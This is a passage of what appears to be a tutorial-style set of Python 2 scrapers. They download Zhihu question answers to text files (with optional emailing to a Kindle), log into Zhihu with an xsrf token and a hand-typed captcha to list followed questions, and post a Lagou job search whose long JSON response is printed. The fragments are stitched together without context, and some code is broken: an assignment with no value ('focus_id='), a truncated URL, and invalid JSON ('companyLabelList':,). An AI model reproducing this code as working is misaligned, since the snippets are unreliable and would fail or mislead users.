        host = "http://www.zhihu.com"

        url = host + answerID

        print url

        user_agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

        # 构造header 伪装一下

        header = {"User-Agent": user_agent}

        req = urllib2.Request(url, headers=header)



        try:

            resp = urllib2.urlopen(req)

        except:

            print "Time out. Retry"

            time.sleep(30)

            # try to switch with proxy ip

            resp = urllib2.urlopen(req)

        # 这里已经获取了 网页的代码，接下来就是提取你想要的内容。 使用beautifulSoup 来处理，很方便

        try:

            bs = BeautifulSoup(resp)



        except:

            print "Beautifulsoup error"

            return None



        title = bs.title

        # 获取的标题



        filename_old = title.string.strip()

        print filename_old

        filename = re.sub('[\/:*?"<>|]', '-', filename_old)

        # 用来保存内容的文件名，因为文件名不能有一些特殊符号，所以使用正则表达式过滤掉



        self.save2file(filename, title.string)





        detail = bs.find("div", class_="zm-editable-content")



        self.save2file(filename, "\n\n\n\n--------------------Detail----------------------\n\n")

        # 获取问题的补充内容



        if detail is not None:



            for i in detail.strings:

                self.save2file(filename, unicode(i))



        answer = bs.find_all("div", class_="zm-editable-content clearfix")

        k = 0

        index = 0

        for each_answer in answer:



            self.save2file(filename, "\n\n-------------------------answer %s via  -------------------------\n\n" % k)



            for a in each_answer.strings:

                # 循环获取每一个答案的内容，然后保存到文件中

                self.save2file(filename, unicode(a))

            k += 1

            index = index + 1



        smtp_server = 'smtp.126.com'

        from_mail = 'your@126.com'

        password = 'yourpassword'

        to_mail = 'yourname@kindle.cn'



        # send_kindle=MailAtt(smtp_server,from_mail,password,to_mail)

        # send_kindle.send_txt(filename)



        # 调用发送邮件函数，把电子书发送到你的kindle用户的邮箱账号，这样你的kindle就可以收到电子书啦

        print filename





class MailAtt():

    def __init__(self, smtp_server, from_mail, password, to_mail):

        self.server = smtp_server

        self.username = from_mail.split("@")[0]

        self.from_mail = from_mail

        self.password = password

        self.to_mail = to_mail



        # 初始化邮箱设置



    def send_txt(self, filename):

        # 这里发送附件尤其要注意字符编码，当时调试了挺久的，因为收到的文件总是乱码

        self.smtp = smtplib.SMTP()

        self.smtp.connect(self.server)

        self.smtp.login(self.username, self.password)

        self.msg = MIMEMultipart()

        self.msg['to'] = self.to_mail

        self.msg['from'] = self.from_mail

        self.msg['Subject'] = "Convert"

        self.filename = filename + ".txt"

        self.msg['Date'] = Utils.formatdate(localtime=1)

        content = open(self.filename.decode('utf-8'), 'rb').read()

        # print content

        self.att = MIMEText(content, 'base64', 'utf-8')

        self.att['Content-Type'] = 'application/octet-stream'

        # self.att["Content-Disposition"] = "attachment;filename=\"%s\"" %(self.filename.encode('gb2312'))

        self.att["Content-Disposition"] = "attachment;filename=\"%s\"" % Header(self.filename, 'gb2312')

        # print self.att["Content-Disposition"]

        self.msg.attach(self.att)



        self.smtp.sendmail(self.msg['from'], self.msg['to'], self.msg.as_string())

        self.smtp.quit()





if __name__ == "__main__":



    sub_folder = os.path.join(os.getcwd(), "content")

    # 专门用于存放下载的电子书的目录



    if not os.path.exists(sub_folder):

        os.mkdir(sub_folder)



    os.chdir(sub_folder)



    id = sys.argv[1]

    # 给出的第一个参数 就是你要下载的问题的id

    # 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574

    # 那么 就输入 python zhihu.py 29372574





    # id_link="/question/"+id

    obj = GetContent(id)

    # obj.getAnswer(id_link)



    # 调用获取函数



    print "Done"

# -*-coding=utf-8-*-

__author__ = 'Rocky'

import requests

import cookielib

import re

import json

import time

import os

from getContent import GetContent

agent='Mozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0'

headers={'Host':'www.zhihu.com',

         'Referer':'https://www.zhihu.com',

         'User-Agent':agent}



#全局变量

session=requests.session()



session.cookies=cookielib.LWPCookieJar(filename="cookies")



try:

    session.cookies.load(ignore_discard=True)

except:

    print "Cookie can't load"



def isLogin():

    url='https://www.zhihu.com/settings/profile'

    login_code=session.get(url,headers=headers,allow_redirects=False).status_code

    print login_code

    if login_code == 200:

        return True

    else:

        return False



def get_xsrf():

    url='http://www.zhihu.com'

    r=session.get(url,headers=headers,allow_redirects=False)

    txt=r.text

    result=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>',txt)[0]

    return result



def getCaptcha():

    #r=1471341285051

    r=(time.time()*1000)

    url='http://www.zhihu.com/captcha.gif?r='+str(r)+'&type=login'



    image=session.get(url,headers=headers)

    f=open("photo.jpg",'wb')

    f.write(image.content)

    f.close()





def Login():

    xsrf=get_xsrf()

    print xsrf

    print len(xsrf)

    login_url='http://www.zhihu.com/login/email'

    data={

    '_xsrf':xsrf,

    'password':'*',

    'remember_me':'true',

    'email':'*'

    }

    try:

        content=session.post(login_url,data=data,headers=headers)

        login_code=content.text

        print content.status_code

        #this line important ! if no status, if will fail and execute the except part

        #print content.status



        if content.status_code != requests.codes.ok:

            print "Need to verification code !"

            getCaptcha()

            #print "Please input the code of the captcha"

            code=raw_input("Please input the code of the captcha")

            data['captcha']=code

            content=session.post(login_url,data=data,headers=headers)

            print content.status_code



            if content.status_code==requests.codes.ok:

                print "Login successful"

                session.cookies.save()

            #print login_code

        else:

            session.cookies.save()

    except:

        print "Error in login"

        return False



def focus_question():

    focus_id=

    url='https://www.zhihu.com/question/following'

    content=session.get(url,headers=headers)

    print content

    p=re.compile(r'<a class="question_link" href="/question/(\d+)" target="_blank" data-id')

    id_list=p.findall(content.text)

    pattern=re.compile(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>')

    result=re.findall(pattern,content.text)[0]

    print result

    for i in id_list:

        print i

        focus_id.append(i)



    url_next='https://www.zhihu.com/node/ProfileFollowedQuestionsV2'

    page=20

    offset=20

    end_page=500

    xsrf=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"',content.text)[0]

    while offset < end_page:

        #para='{"offset":20}'

        #print para

        print "page: %d" %offset

        params={"offset":offset}

        params_json=json.dumps(params)



        data={

        'method':'next',

        'params':params_json,

        '_xsrf':xsrf

        }

        #注意上面那里 post的data需要一个xsrf的字段，不然会返回403 的错误，这个在抓包的过程中一直都没有看到提交到xsrf，所以自己摸索出来的

        offset=offset+page

        headers_l={

        'Host':'www.zhihu.com',

        'Referer':'https://www.zhihu.com/question/following',

        'User-Agent':agent,

        'Origin':'https://www.zhihu.com',

        'X-Requested-With':'XMLHttpRequest'

        }

        try:

            s=session.post(url_next,data=data,headers=headers_l)

            #print s.status_code

            #print s.text

            msgs=json.loads(s.text)

            msg=msgs['msg']

            for i in msg:

                id_sub=re.findall(p,i)



                for j in id_sub:

                    print j

                    id_list.append(j)



        except:

            print "Getting Error "





    return id_list



def main():



    if isLogin():

        print "Has login"

    else:

        print "Need to login"

        Login()

    list_id=focus_question()

    for i in list_id:

        print i

        obj=GetContent(i)



    #getCaptcha()

if __name__=='__main__':

    sub_folder=os.path.join(os.getcwd(),"content")

    #专门用于存放下载的电子书的目录



    if not os.path.exists(sub_folder):

        os.mkdir(sub_folder)



    os.chdir(sub_folder)



    main()

post_data = {'first':'true','kd':'Android','pn':'1'}

import requests



url = "http://www.lagou.com/jobs/posi ... ot%3B

return_data=requests.post(url,data=post_data)

print return_data.text

{"code":0,"success":true,"requestId":null,"resubmitToken":null,"msg":null,"content":{"pageNo":1,"pageSize":15,"positionResult":{"totalCount":5000,"pageSize":15,"locationInfo":{"city":null,"district":null,"businessZone":null},"result":[{"createTime":"2016-05-05 17:27:50","companyId":50889,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"和创（北京）科技股份有限公司","city":"北京","salary":"20k-35k","financeStage":"上市公司","positionId":1455217,"companyLogo":"i/image/M00/03/44/Cgp3O1ax7JWAOSzUAABS3OF0A7w289.jpg","positionFirstType":"技术","companyName":"和创科技（红圈营销）","positionAdvantage":"上市公司，持续股权激励政策，技术极客云集","industryField":"移动互联网 · 企业服务","score":1372,"district":"西城区","companyLabelList":["弹性工作","敏捷研发","股票期权","年底双薪"],"deliverCount":13,"leaderName":"刘学臣","companySize":"2000人以上","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462440470000,"positonTypesMap":null,"hrScore":77,"flowScore":148,"showCount":6627,"pvScore":73.2258060280967,"plus":"是","businessZones":["新街口","德胜门","小西天"],"publisherId":994817,"loginTime":1462876049000,"appShow":3141,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":99,"adWord":1,"formatCreateTime":"2016-05-05","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-05 18:30:16","companyId":50889,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"和创（北京）科技股份有限公司","city":"北京","salary":"20k-35k","financeStage":"上市公司","positionId":1440576,"companyLogo":"i/image/M00/03/44/Cgp3O1ax7JWAOSzUAABS3OF0A7w289.jpg","positionFirstType":"技术","companyName":"和创科技（红圈营销）","positionAdvantage":"上市公司，持续股权激励政策，技术爆棚！","industryField":"移动互联网 · 企业服务","score":1372,"district":"海淀区","companyLabelList":["弹性工作","敏捷研发","股票期权","年底双薪"],"deliverCount":6,"leaderName":"刘学臣","companySize":"2000人以上","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462444216000,"positonTypesMap":null,"hrScore":77,"flowScore":148,"showCount":3214,"pvScore":73.37271526202157,"plus":"是","businessZones":["双榆树","中关村","大钟寺"],"publisherId":994817,"loginTime":1462876049000,"appShow":1782,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":99,"adWord":1,"formatCreateTime":"2016-05-05","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 18:41:29","companyId":94307,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"宁波海大物联科技有限公司","city":"宁波","salary":"8k-15k","financeStage":"成长型(A轮)","positionId":1070249,"companyLogo":"image2/M00/03/32/CgqLKVXtWiuAUbXgAAB1g_5FW3Y484.png?cc=0.6152940313331783","positionFirstType":"技术","companyName":"海大物联","positionAdvantage":"一流的技术团队，丰厚的薪资回报。","industryField":"移动互联网 · 企业服务","score":1353,"district":"鄞州区","companyLabelList":["节日礼物","年底双薪","带薪年假","年度旅游"],"deliverCount":0,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462876889000,"positonTypesMap":null,"hrScore":75,"flowScore":167,"showCount":1031,"pvScore":47.6349840620252,"plus":"是","businessZones":null,"publisherId":2494230,"loginTime":1462885305000,"appShow":184,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":63,"adWord":0,"formatCreateTime":"18:41发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 17:57:43","companyId":89004,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"学历不限","jobNature":"全职","companyShortName":"温州康宁医院股份有限公司","city":"杭州","salary":"10k-20k","financeStage":"上市公司","positionId":1387825,"companyLogo":"i/image/M00/02/C2/CgqKkVabp--APWTjAACHHJJxyPc207.png","positionFirstType":"技术","companyName":"的的心理","positionAdvantage":"上市公司内部创业项目。优质福利待遇+期权","industryField":"移动互联网 · 医疗健康","score":1344,"district":"江干区","companyLabelList":["年底双薪","股票期权","带薪年假","招募合伙人"],"deliverCount":5,"leaderName":"杨怡","companySize":"500-2000人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462874263000,"positonTypesMap":null,"hrScore":74,"flowScore":153,"showCount":1312,"pvScore":66.87818057124453,"plus":"是","businessZones":["四季青","景芳"],"publisherId":3655492,"loginTime":1462873104000,"appShow":573,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"17:57发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 13:49:47","companyId":15071,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"杭州短趣网络传媒技术有限公司","city":"杭州","salary":"10k-20k","financeStage":"成长型(A轮)","positionId":1803257,"companyLogo":"image2/M00/0B/80/CgpzWlYYse2AJgc0AABG9iSEWAE052.jpg","positionFirstType":"技术","companyName":"短趣网","positionAdvantage":"高额项目奖金，行业内有竞争力的薪资水平","industryField":"移动互联网 · 社交网络","score":1343,"district":null,"companyLabelList":["绩效奖金","年终分红","五险一金","通讯津贴"],"deliverCount":1,"leaderName":"王强宇","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":28,"imstate":"today","createTimeSort":1462859387000,"positonTypesMap":null,"hrScore":68,"flowScore":178,"showCount":652,"pvScore":32.82081357576065,"plus":"否","businessZones":null,"publisherId":4362468,"loginTime":1462870318000,"appShow":0,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"13:49发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 13:55:08","companyId":28422,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"成都品果科技有限公司","city":"北京","salary":"18k-30k","financeStage":"成长型(B轮)","positionId":290875,"companyLogo":"i/image/M00/02/F3/Cgp3O1ah7FuAbSnkAACMlcPiWXk393.png","positionFirstType":"技术","companyName":"camera360","positionAdvantage":"高大上的福利待遇、发展前景等着你哦！","industryField":"移动互联网","score":1339,"district":"海淀区","companyLabelList":["年终分红","绩效奖金","年底双薪","五险一金"],"deliverCount":6,"leaderName":"徐灏","companySize":"15-50人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":0,"imstate":"disabled","createTimeSort":1462859708000,"positonTypesMap":null,"hrScore":80,"flowScore":188,"showCount":1199,"pvScore":19.745453118211834,"plus":"是","businessZones":["中关村","北京大学","苏州街"],"publisherId":389753,"loginTime":1462866640000,"appShow":0,"calcScore":false,"showOrder":1433137697136,"haveDeliver":false,"orderBy":71,"adWord":0,"formatCreateTime":"13:55发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 17:57:55","companyId":89004,"positionName":"Android","positionType":"移动开发","workYear":"不限","education":"学历不限","jobNature":"全职","companyShortName":"温州康宁医院股份有限公司","city":"杭州","salary":"10k-20k","financeStage":"上市公司","positionId":1410975,"companyLogo":"i/image/M00/02/C2/CgqKkVabp--APWTjAACHHJJxyPc207.png","positionFirstType":"技术","companyName":"的的心理","positionAdvantage":"上市公司内部创业团队","industryField":"移动互联网 · 医疗健康","score":1335,"district":null,"companyLabelList":["年底双薪","股票期权","带薪年假","招募合伙人"],"deliverCount":9,"leaderName":"杨怡","companySize":"500-2000人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462874275000,"positonTypesMap":null,"hrScore":74,"flowScore":144,"showCount":2085,"pvScore":77.9570832081189,"plus":"是","businessZones":null,"publisherId":3655492,"loginTime":1462873104000,"appShow":711,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"17:57发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-09 09:46:32","companyId":113895,"positionName":"Android开发工程师","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"北京互动金服科技有限公司","city":"北京","salary":"15k-25k","financeStage":"成长型(不需要融资)","positionId":1473342,"companyLogo":"i/image/M00/03/D8/CgqKkVbEA_uAe1k4AAHTfy3RxPY812.jpg","positionFirstType":"技术","companyName":"互动科技","positionAdvantage":"五险一金 补充医疗 年终奖 福利津贴","industryField":"移动互联网 · O2O","score":1326,"district":"海淀区","companyLabelList":,"deliverCount":32,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":980,"adjustScore":48,"imstate":"today","createTimeSort":1462758392000,"positonTypesMap":null,"hrScore":82,"flowScore":153,"showCount":3741,"pvScore":67.01698353391613,"plus":"是","businessZones":["白石桥","魏公村","万寿寺","白石桥","魏公村","万寿寺"],"publisherId":3814477,"loginTime":1462874842000,"appShow":0,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":63,"adWord":0,"formatCreateTime":"1天前发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 16:50:51","companyId":23999,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"本科","jobNature":"全职","companyShortName":"南京智鹤电子科技有限公司","city":"长沙","salary":"8k-12k","financeStage":"成长型(A轮)","positionId":1804917,"companyLogo":"image1/M00/35/EB/CgYXBlWc5KGAVeL8AAAOi4lPhWU502.jpg","positionFirstType":"技术","companyName":"智鹤科技","positionAdvantage":"弹性工作制 技术氛围浓厚","industryField":"移动互联网","score":1322,"district":null,"companyLabelList":["股票期权","绩效奖金","专项奖金","年终分红"],"deliverCount":1,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":0,"imstate":"disabled","createTimeSort":1462870251000,"positonTypesMap":null,"hrScore":62,"flowScore":191,"showCount":283,"pvScore":15.939035855045429,"plus":"否","businessZones":null,"publisherId":282621,"loginTime":1462869967000,"appShow":0,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"16:50发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-08 23:12:56","companyId":24287,"positionName":"android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"杭州腾展科技有限公司","city":"杭州","salary":"15k-22k","financeStage":"成熟型(D轮及以上)","positionId":1197868,"companyLogo":"image1/M00/0B/7D/Cgo8PFTzIBOAEd2dAACMq9tQoMA797.png","positionFirstType":"技术","companyName":"腾展叮咚（Dingtone）","positionAdvantage":"每半年调整薪资，今年上市！","industryField":"移动互联网 · 社交网络","score":1322,"district":"西湖区","companyLabelList":["出国旅游","股票期权","精英团队","强悍的创始人"],"deliverCount":9,"leaderName":"魏松祥（Steve Wei)","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"disabled","createTimeSort":1462720376000,"positonTypesMap":null,"hrScore":71,"flowScore":137,"showCount":3786,"pvScore":87.51582865460942,"plus":"是","businessZones":["文三路","古荡","高新文教区"],"publisherId":2946659,"loginTime":1462891920000,"appShow":940,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":66,"adWord":0,"formatCreateTime":"2天前发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 09:38:43","companyId":19875,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"维沃移动通信有限公司","city":"南京","salary":"12k-24k","financeStage":"初创型(未融资)","positionId":938099,"companyLogo":"image1/M00/00/25/Cgo8PFTUWH-Ab57wAABKOdLbNuw116.png","positionFirstType":"技术","companyName":"vivo","positionAdvantage":"vivo，追求极致","industryField":"移动互联网","score":1320,"district":"建邺区","companyLabelList":["年终分红","五险一金","带薪年假","年度旅游"],"deliverCount":4,"leaderName":"暂没有填写","companySize":"2000人以上","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462844323000,"positonTypesMap":null,"hrScore":57,"flowScore":149,"showCount":981,"pvScore":72.14107985481958,"plus":"是","businessZones":["沙洲","小行","赛虹桥"],"publisherId":302876,"loginTime":1462871424000,"appShow":353,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":66,"adWord":0,"formatCreateTime":"09:38发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 09:49:59","companyId":20473,"positionName":"安卓开发工程师","positionType":"移动开发","workYear":"3-5年","education":"大专","jobNature":"全职","companyShortName":"广州棒谷网络科技有限公司","city":"广州","salary":"8k-15k","financeStage":"成长型(A轮)","positionId":1733545,"companyLogo":"image1/M00/0F/36/Cgo8PFT9AgGAciySAAA1THfEIAE433.jpg","positionFirstType":"技术","companyName":"广州棒谷网络科技有限公司","positionAdvantage":"五险一金 大平台 带薪休假","industryField":"电子商务","score":1320,"district":null,"companyLabelList":["项目奖金","绩效奖金","年终奖","五险一金"],"deliverCount":15,"leaderName":"大邹","companySize":"500-2000人","randomScore":0,"countAdjusted":false,"relScore":980,"adjustScore":48,"imstate":"today","createTimeSort":1462844999000,"positonTypesMap":null,"hrScore":79,"flowScore":144,"showCount":3943,"pvScore":77.78928844199473,"plus":"是","businessZones":null,"publisherId":235413,"loginTime":1462878251000,"appShow":1562,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"09:49发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-04 11:41:59","companyId":87117,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"本科","jobNature":"全职","companyShortName":"南京信通科技有限责任公司","city":"南京","salary":"10k-12k","financeStage":"成长型(不需要融资)","positionId":966059,"companyLogo":"image1/M00/3F/51/CgYXBlXASfuADyOsAAA_na14zho635.jpg?cc=0.6724986131303012","positionFirstType":"技术","companyName":"联创集团信通科技","positionAdvantage":"提供完善的福利和薪酬晋升制度","industryField":"移动互联网 · 教育","score":1320,"district":"鼓楼区","companyLabelList":["节日礼物","带薪年假","补充医保","补充子女医保"],"deliverCount":4,"leaderName":"暂没有填写","companySize":"150-500人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462333319000,"positonTypesMap":null,"hrScore":88,"flowScore":143,"showCount":3161,"pvScore":79.41660570401937,"plus":"是","businessZones":["虎踞路","龙江","西桥"],"publisherId":2230973,"loginTime":1462871511000,"appShow":711,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":41,"adWord":0,"formatCreateTime":"2016-05-04","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 09:26:58","companyId":103051,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"大专","jobNature":"全职","companyShortName":"浙江米果网络股份有限公司","city":"杭州","salary":"12k-22k","financeStage":"成长型(A轮)","positionId":1233873,"companyLogo":"image2/M00/10/DF/CgqLKVYwKQSAR2p4AAJAM590SJM137.png?cc=0.17502541467547417","positionFirstType":"技术","companyName":"米果小站","positionAdvantage":"充分的发展成长空间","industryField":"移动互联网","score":1320,"district":"滨江区","companyLabelList":["年底双薪","股票期权","午餐补助","五险一金"],"deliverCount":5,"leaderName":"暂没有填写","companySize":"150-500人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"disabled","createTimeSort":1462843618000,"positonTypesMap":null,"hrScore":72,"flowScore":137,"showCount":1582,"pvScore":87.93158026917071,"plus":"是","businessZones":["江南","长河","西兴"],"publisherId":2992735,"loginTime":1462889479000,"appShow":312,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":63,"adWord":0,"formatCreateTime":"09:26发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 10:01:39","companyId":70044,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"大专","jobNature":"全职","companyShortName":"武汉平行世界网络科技有限公司","city":"武汉","salary":"9k-13k","financeStage":"初创型(天使轮)","positionId":664813,"companyLogo":"image2/M00/00/3E/CgqLKVXdccSAQE91AACv-6V33Vo860.jpg","positionFirstType":"技术","companyName":"平行世界","positionAdvantage":"弹性工作、带薪年假、待遇优厚、3号线直达","industryField":"电子商务 · 文化娱乐","score":1320,"district":"蔡甸区","companyLabelList":["年底双薪","待遇优厚","专项奖金","带薪年假"],"deliverCount":18,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462845699000,"positonTypesMap":null,"hrScore":76,"flowScore":128,"showCount":1934,"pvScore":99.6001810598155,"plus":"是","businessZones":["沌口"],"publisherId":1694134,"loginTime":1462892151000,"appShow":759,"calcScore":false,"showOrder":1433141412915,"haveDeliver":false,"orderBy":68,"adWord":0,"formatCreateTime":"10:01发布","totalCount":0,"searchScore":0.0}]}}}

post_data = {'first':'true','kd':'Android','pn':'2'} ＃获取第2页的内容